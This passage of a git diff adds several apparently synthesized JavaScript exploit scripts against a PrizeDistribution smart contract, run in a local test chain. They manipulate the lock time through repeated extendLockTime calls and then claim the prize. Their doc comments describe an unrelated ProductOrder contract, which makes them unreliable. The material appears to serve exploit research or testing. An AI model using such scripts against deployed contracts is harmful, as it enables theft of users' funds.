CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-1.js index 77bcf2f2..68e9e2f8 100644 --- a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-15.js +++ b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-1.js @@ -16,10 +16,11 @@ const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -const contractFileFullName = 'PrizeDistribution-15.sol'; -let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); +const contractFileFullName = 'PrizeDistribution.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); let solcVersion = extractSolcVersion(source); +let BONUS_THRESHOLD = 10; /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -35,57 +36,60 @@ let solcVersion = extractSolcVersion(source); */ async function exploit(web3, envInfo, contractAddress) { try { - let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); - let contractInstance = new web3.eth.Contract(abi, contractAddress); - let attackerAccount = envInfo.accounts[1]; // An account other than the organizer/beneficiary - - console.log("Starting the process to exploit unlock time reduction..."); - - // Calculate the amount to send to exceed the balance threshold and decrease unlock time - let currentBalance = web3.utils.fromWei(await web3.eth.getBalance(contractAddress), 'ether'); - let excessAmount = web3.utils.toWei((parseFloat(currentBalance) > 100 ? "0" : (100 - parseFloat(currentBalance) + 1).toString()), 'ether'); - - // Fetch the current nonce for the attacker account - let currentNonce = await web3.eth.getTransactionCount(attackerAccount, 'latest'); - - // Add funds to trigger the unlock time decrease - let addFundsTx = await contractInstance.methods.addFundsAndExtendLock(excessAmount).send({ - from: attackerAccount, - value: excessAmount, - gas: 300000, - nonce: currentNonce // Use the fetched nonce - }); - await sleep(200); - - console.log(`Funds added, transaction status: ${addFundsTx.status}`); - - // Check new unlock time - let newUnlockTime = await contractInstance.methods.unlockTime().call(); - let currentTime = Math.floor(Date.now() / 1000); - console.log(`New unlock time: ${newUnlockTime}, Current time: ${currentTime}`); - - if (newUnlockTime <= currentTime) { - console.log("Unlock time successfully manipulated to current or past time."); - return true; // Exploit successful - } else { - console.error("Failed to manipulate unlock time effectively."); - return false; // Exploit failed - } + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Starting to manipulate the lock time..."); + + // Manipulate the lock time by extending it with just below the BONUS_THRESHOLD, multiple times + for (let i = 0; i < 5; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD - 1, // Sending just below the threshold amount + gas: 300000 + }); + + console.log(`Manipulation ${i+1} sent, tx status: ${extendTx.status}`); + await sleep(500); // Short delay between calls + } + + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); + await sleep(500); + + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); + + // Wait until just after the unlockTime to try claiming the prize + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time + console.log(`Waiting for ${waitTime} seconds until unlock time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); + } + + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(500); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } } catch (error) { - console.error(error.stack); - return false; + console.error(error.stack); + return false; } -} - - - - - - - - - - + } + @@ -105,8 +109,8 @@ async function exploit(web3, envInfo, contractAddress) { */ module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil - web3 = await createLoggerWeb3(web3); + web3 = await createLoggerWeb3(web3); // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); diff --git a/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-10.js b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-10.js new file mode 100644 index 00000000..18c8b8bf --- /dev/null +++ b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-10.js @@ -0,0 +1,144 @@ +require('module-alias/register'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); +const chalk = require('chalk'); +const { + extractSolcVersion, + compileWithVersion, + deployContract +} = require('@lib/web3/deploy'); + +const { setTimeout } = require('timers'); +const { sleep } = require('@lib/os/process'); +const { createLoggerWeb3 } = require('@lib/web3/deploy'); + +// It seems module alias does not work with js path, so, we will resort to the dirty approach. +const projectRoot = path.resolve(__dirname, '..', '..', '..'); +const contractsDir = path.join(projectRoot, './contracts'); +const contractFileFullName = 'PrizeDistribution.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +let solcVersion = extractSolcVersion(source); + +let BONUS_THRESHOLD = 10; + +/** + * Attempts to exploit a vulnerability in the ProductOrder smart contract. + * + * The exploit involves applying a discount just before the discountEndTime, + * waiting for a few seconds, then making a transaction to pay for the order + * at the discounted price, and finally confirming the order. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. + * @throws {Error} If there's an error during the exploit process. + */ +async function exploit(web3, envInfo, contractAddress) { + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Starting cumulative extension manipulation..."); + + // Step 1: Incrementally extend the lock time with small amounts to avoid significant extensions + for (let i = 0; i < 10; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD / 10, // Sending small amounts to avoid significant extensions + gas: 300000 + }); + + console.log(`Incremental extension ${i+1} sent, tx status: ${extendTx.status}`); + await sleep(300); // Short delay between calls to create slight time differences + } + + // Step 2: Send a series of alternating minimal and just-above-threshold amounts + for (let i = 0; i < 5; i++) { + // Send the minimal amount (1 wei) + let minimalTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: 1, + gas: 300000 + }); + + console.log(`Minimal extension ${i+1} sent, tx status: ${minimalTx.status}`); + await sleep(300); // Short delay between calls + + // Send just above the threshold to trigger a small bonus period + let thresholdTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD + 1, + gas: 300000 + }); + + console.log(`Threshold extension ${i+1} sent, tx status: ${thresholdTx.status}`); + await sleep(300); // Short delay between calls + } + + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); + await sleep(500); + + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); + + // Step 3: Wait until just after the unlock time to try claiming the prize + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time + console.log(`Waiting for ${waitTime} seconds until unlock time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); + } + + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(500); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } +} + + + + + +/** + * Executes the exploit and checks its result + * + * This function will run the exploit and then verify if the exploit has + * yielded the predicted result. If the exploit is successful, a success + * message is displayed, otherwise an error message is shown. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. + * @throws {Error} If there's an error during the test execution. + */ +module.exports = async function runTests(web3, envInfo, contractAddress) { + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + + web3 = await createLoggerWeb3(web3); + // Execute the exploit + let result = await exploit(web3, envInfo, contractAddress); + + // See if exploit has yielded the predicted result (a very manual oracle!) + assert.strictEqual(result, true, "Exploit did not yield the expected result"); + logger.info(chalk.green("Exploit successful!")); + + return result; +} diff --git a/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-11.js b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-11.js new file mode 100644 index 00000000..c94b4506 --- /dev/null +++ b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-11.js @@ -0,0 +1,146 @@ +require('module-alias/register'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); +const chalk = require('chalk'); +const { + extractSolcVersion, + compileWithVersion, + deployContract +} = require('@lib/web3/deploy'); + +const { setTimeout } = require('timers'); +const { sleep } = require('@lib/os/process'); +const { createLoggerWeb3 } = require('@lib/web3/deploy'); + +// It seems module alias does not work with js path, so, we will resort to the dirty approach. +const projectRoot = path.resolve(__dirname, '..', '..', '..'); +const contractsDir = path.join(projectRoot, './contracts'); +const contractFileFullName = 'PrizeDistribution.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +let solcVersion = extractSolcVersion(source); + +let BONUS_THRESHOLD = 10; + +/** + * Attempts to exploit a vulnerability in the ProductOrder smart contract. + * + * The exploit involves applying a discount just before the discountEndTime, + * waiting for a few seconds, then making a transaction to pay for the order + * at the discounted price, and finally confirming the order. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. + * @throws {Error} If there's an error during the exploit process. + */ +async function exploit(web3, envInfo, contractAddress) { + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Starting mixed extension manipulation..."); + + // Step 1: Incrementally extend the lock time with small amounts to avoid significant extensions + for (let i = 0; i < 5; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD / 20, // Sending very small amounts to increment lock time + gas: 300000 + }); + + console.log(`Small increment ${i+1} sent, tx status: ${extendTx.status}`); + await sleep(200); // Short delay between calls to create slight time differences + } + + // Step 2: Send periodic significant amounts to create larger extensions + for (let i = 0; i < 3; i++) { + // Sending an amount just below the threshold to manipulate the lock time without triggering significant bonus + let almostThresholdTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD - 1, + gas: 300000 + }); + + console.log(`Almost threshold extension ${i+1} sent, tx status: ${almostThresholdTx.status}`); + await sleep(500); // Short delay between calls + + // Sending a significant amount to extend the lock time more substantially + let significantTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD * 2, + gas: 300000 + }); + + console.log(`Significant extension ${i+1} sent, tx status: ${significantTx.status}`); + await sleep(500); // Short delay between calls + } + + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); + await sleep(500); + + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); + + // Step 3: Wait until just after the unlock time to try claiming the prize + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time + console.log(`Waiting for ${waitTime} seconds until unlock time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); + } + + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(500); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } +} + + + + + + + +/** + * Executes the exploit and checks its result + * + * This function will run the exploit and then verify if the exploit has + * yielded the predicted result. If the exploit is successful, a success + * message is displayed, otherwise an error message is shown. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. + * @throws {Error} If there's an error during the test execution. + */ +module.exports = async function runTests(web3, envInfo, contractAddress) { + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + + web3 = await createLoggerWeb3(web3); + // Execute the exploit + let result = await exploit(web3, envInfo, contractAddress); + + // See if exploit has yielded the predicted result (a very manual oracle!) + assert.strictEqual(result, true, "Exploit did not yield the expected result"); + logger.info(chalk.green("Exploit successful!")); + + return result; +} diff --git a/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-12.js b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-12.js new file mode 100644 index 00000000..73febda1 --- /dev/null +++ b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-12.js @@ -0,0 +1,156 @@ +require('module-alias/register'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); +const chalk = require('chalk'); +const { + extractSolcVersion, + compileWithVersion, + deployContract +} = require('@lib/web3/deploy'); + +const { setTimeout } = require('timers'); +const { sleep } = require('@lib/os/process'); +const { createLoggerWeb3 } = require('@lib/web3/deploy'); + +// It seems module alias does not work with js path, so, we will resort to the dirty approach. +const projectRoot = path.resolve(__dirname, '..', '..', '..'); +const contractsDir = path.join(projectRoot, './contracts'); +const contractFileFullName = 'PrizeDistribution.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +let solcVersion = extractSolcVersion(source); + +let BONUS_THRESHOLD = 10; + +/** + * Attempts to exploit a vulnerability in the ProductOrder smart contract. + * + * The exploit involves applying a discount just before the discountEndTime, + * waiting for a few seconds, then making a transaction to pay for the order + * at the discounted price, and finally confirming the order. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. + * @throws {Error} If there's an error during the exploit process. + */ +async function exploit(web3, envInfo, contractAddress) { + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Starting strategic extensions manipulation..."); + + // Step 1: Extend the lock time with just below the threshold to avoid bonus period + for (let i = 0; i < 5; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD - 1, // Sending just below the threshold + gas: 300000 + }); + + console.log(`Extension just below threshold ${i+1} sent, tx status: ${extendTx.status}`); + await sleep(300); // Short delay between calls to create slight time differences + } + + // Step 2: Send a series of alternating minimal and just-above-threshold amounts + for (let i = 0; i < 3; i++) { + // Send the minimal amount (1 wei) + let minimalTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: 1, + gas: 300000 + }); + + console.log(`Minimal extension ${i+1} sent, tx status: ${minimalTx.status}`); + await sleep(300); // Short delay between calls + + // Send just above the threshold to trigger a small bonus period + let thresholdTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD + 1, + gas: 300000 + }); + + console.log(`Threshold extension ${i+1} sent, tx status: ${thresholdTx.status}`); + await sleep(300); // Short delay between calls + } + + // Step 3: Send a large amount to extend the lock time significantly and increase the prize + let largeExtendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD * 5, // Sending a large amount to trigger significant lock time extension + gas: 300000 + }); + + console.log(`Large increment sent, tx status: ${largeExtendTx.status}`); + await sleep(500); + + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); + await sleep(500); + + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); + + // Step 4: Wait until just after the unlock time to try claiming the prize + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time + console.log(`Waiting for ${waitTime} seconds until unlock time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); + } + + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(500); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } +} + + + + + + + +/** + * Executes the exploit and checks its result + * + * This function will run the exploit and then verify if the exploit has + * yielded the predicted result. If the exploit is successful, a success + * message is displayed, otherwise an error message is shown. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. + * @throws {Error} If there's an error during the test execution. + */ +module.exports = async function runTests(web3, envInfo, contractAddress) { + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + + web3 = await createLoggerWeb3(web3); + // Execute the exploit + let result = await exploit(web3, envInfo, contractAddress); + + // See if exploit has yielded the predicted result (a very manual oracle!) + assert.strictEqual(result, true, "Exploit did not yield the expected result"); + logger.info(chalk.green("Exploit successful!")); + + return result; +} diff --git a/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-13.js b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-13.js new file mode 100644 index 00000000..6ebc8420 --- /dev/null +++ b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-13.js @@ -0,0 +1,144 @@ +require('module-alias/register'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); +const chalk = require('chalk'); +const { + extractSolcVersion, + compileWithVersion, + deployContract +} = require('@lib/web3/deploy'); + +const { setTimeout } = require('timers'); +const { sleep } = require('@lib/os/process'); +const { createLoggerWeb3 } = require('@lib/web3/deploy'); + +// It seems module alias does not work with js path, so, we will resort to the dirty approach. +const projectRoot = path.resolve(__dirname, '..', '..', '..'); +const contractsDir = path.join(projectRoot, './contracts'); +const contractFileFullName = 'PrizeDistribution.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +let solcVersion = extractSolcVersion(source); + +let BONUS_THRESHOLD = 10; + +/** + * Attempts to exploit a vulnerability in the ProductOrder smart contract. + * + * The exploit involves applying a discount just before the discountEndTime, + * waiting for a few seconds, then making a transaction to pay for the order + * at the discounted price, and finally confirming the order. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. + * @throws {Error} If there's an error during the exploit process. + */ +async function exploit(web3, envInfo, contractAddress) { + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Starting cumulative timing manipulation..."); + + // Step 1: Incrementally extend the lock time with minimal amounts to avoid significant extensions + for (let i = 0; i < 10; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: 1, // Sending the minimal amount (1 wei) + gas: 300000 + }); + + console.log(`Minimal increment ${i+1} sent, tx status: ${extendTx.status}`); + await sleep(200); // Short delay between calls to create slight time differences + } + + // Step 2: Send a significant amount just below the threshold, multiple times + for (let i = 0; i < 5; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD - 1, // Sending just below the threshold to avoid bonus period + gas: 300000 + }); + + console.log(`Significant increment ${i+1} sent, tx status: ${extendTx.status}`); + await sleep(300); // Short delay between calls to create slight time differences + } + + // Step 3: Send a large amount to extend the lock time significantly and increase the prize + let largeExtendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD * 3, // Sending a large amount to trigger significant lock time extension + gas: 300000 + }); + + console.log(`Large increment sent, tx status: ${largeExtendTx.status}`); + await sleep(500); + + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); + await sleep(500); + + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); + + // Step 4: Wait until just after the unlock time to try claiming the prize + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time + console.log(`Waiting for ${waitTime} seconds until unlock time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); + } + + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(500); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } +} + + + + + + +/** + * Executes the exploit and checks its result + * + * This function will run the exploit and then verify if the exploit has + * yielded the predicted result. If the exploit is successful, a success + * message is displayed, otherwise an error message is shown. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. + * @throws {Error} If there's an error during the test execution. + */ +module.exports = async function runTests(web3, envInfo, contractAddress) { + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + + web3 = await createLoggerWeb3(web3); + // Execute the exploit + let result = await exploit(web3, envInfo, contractAddress); + + // See if exploit has yielded the predicted result (a very manual oracle!) + assert.strictEqual(result, true, "Exploit did not yield the expected result"); + logger.info(chalk.green("Exploit successful!")); + + return result; +} diff --git a/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-14.js b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-14.js new file mode 100644 index 00000000..19cc0c36 --- /dev/null +++ b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-14.js @@ -0,0 +1,132 @@ +require('module-alias/register'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); +const chalk = require('chalk'); +const { + extractSolcVersion, + compileWithVersion, + deployContract +} = require('@lib/web3/deploy'); + +const { setTimeout } = require('timers'); +const { sleep } = require('@lib/os/process'); +const { createLoggerWeb3 } = require('@lib/web3/deploy'); + +// It seems module alias does not work with js path, so, we will resort to the dirty approach. +const projectRoot = path.resolve(__dirname, '..', '..', '..'); +const contractsDir = path.join(projectRoot, './contracts'); +const contractFileFullName = 'PrizeDistribution.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +let solcVersion = extractSolcVersion(source); + +let BONUS_THRESHOLD = 10; + +/** + * Attempts to exploit a vulnerability in the ProductOrder smart contract. + * + * The exploit involves applying a discount just before the discountEndTime, + * waiting for a few seconds, then making a transaction to pay for the order + * at the discounted price, and finally confirming the order. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. + * @throws {Error} If there's an error during the exploit process. + */ +async function exploit(web3, envInfo, contractAddress) { + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Starting rapid alternation manipulation..."); + + // Step 1: Rapidly alternate between just below and just above the bonus threshold + for (let i = 0; i < 5; i++) { + // Send just below the threshold + let extendTx1 = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD - 1, // Just below the threshold + gas: 300000 + }); + console.log(`Just below threshold extension ${i+1} sent, tx status: ${extendTx1.status}`); + await sleep(200); // Short delay between calls + + // Send just above the threshold to trigger a minimal bonus period + let extendTx2 = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD + 1, // Just above the threshold + gas: 300000 + }); + console.log(`Just above threshold extension ${i+1} sent, tx status: ${extendTx2.status}`); + await sleep(200); // Short delay between calls + } + + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); + await sleep(500); + + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); + + // Step 2: Wait until just after the unlock time to try claiming the prize + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time + console.log(`Waiting for ${waitTime} seconds until unlock time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); + } + + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(500); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } +} + + + + + + + +/** + * Executes the exploit and checks its result + * + * This function will run the exploit and then verify if the exploit has + * yielded the predicted result. If the exploit is successful, a success + * message is displayed, otherwise an error message is shown. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. + * @throws {Error} If there's an error during the test execution. + */ +module.exports = async function runTests(web3, envInfo, contractAddress) { + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + + web3 = await createLoggerWeb3(web3); + // Execute the exploit + let result = await exploit(web3, envInfo, contractAddress); + + // See if exploit has yielded the predicted result (a very manual oracle!) + assert.strictEqual(result, true, "Exploit did not yield the expected result"); + logger.info(chalk.green("Exploit successful!")); + + return result; +} diff --git a/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-15.js b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-15.js new file mode 100644 index 00000000..1fac528e --- /dev/null +++ b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-15.js @@ -0,0 +1,145 @@ +require('module-alias/register'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); +const chalk = require('chalk'); +const { + extractSolcVersion, + compileWithVersion, + deployContract +} = require('@lib/web3/deploy'); + +const { setTimeout } = require('timers'); +const { sleep } = require('@lib/os/process'); +const { createLoggerWeb3 } = require('@lib/web3/deploy'); + +// It seems module alias does not work with js path, so, we will resort to the dirty approach. +const projectRoot = path.resolve(__dirname, '..', '..', '..'); +const contractsDir = path.join(projectRoot, './contracts'); +const contractFileFullName = 'PrizeDistribution.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +let solcVersion = extractSolcVersion(source); + +let BONUS_THRESHOLD = 10; + +/** + * Attempts to exploit a vulnerability in the ProductOrder smart contract. + * + * The exploit involves applying a discount just before the discountEndTime, + * waiting for a few seconds, then making a transaction to pay for the order + * at the discounted price, and finally confirming the order. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. + * @throws {Error} If there's an error during the exploit process. + */ +async function exploit(web3, envInfo, contractAddress) { + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Starting strategic mix manipulation..."); + + // Step 1: Incrementally extend the lock time with minimal amounts to avoid significant extensions + for (let i = 0; i < 10; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: 1, // Sending the minimal amount (1 wei) + gas: 300000 + }); + + console.log(`Minimal increment ${i+1} sent, tx status: ${extendTx.status}`); + await sleep(200); // Short delay between calls to create slight time differences + } + + // Step 2: Send a series of just below threshold amounts + for (let i = 0; i < 5; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD - 1, // Sending just below the threshold to avoid bonus period + gas: 300000 + }); + + console.log(`Just below threshold extension ${i+1} sent, tx status: ${extendTx.status}`); + await sleep(300); // Short delay between calls to create slight time differences + } + + // Step 3: Send a large amount to extend the lock time significantly and increase the prize + let largeExtendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD * 5, // Sending a large amount to trigger significant lock time extension + gas: 300000 + }); + + console.log(`Large increment sent, tx status: ${largeExtendTx.status}`); + await sleep(500); + + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); + await sleep(500); + + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); + + // Step 4: Wait until just after the unlock time to try claiming the prize + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time + console.log(`Waiting for ${waitTime} seconds until unlock 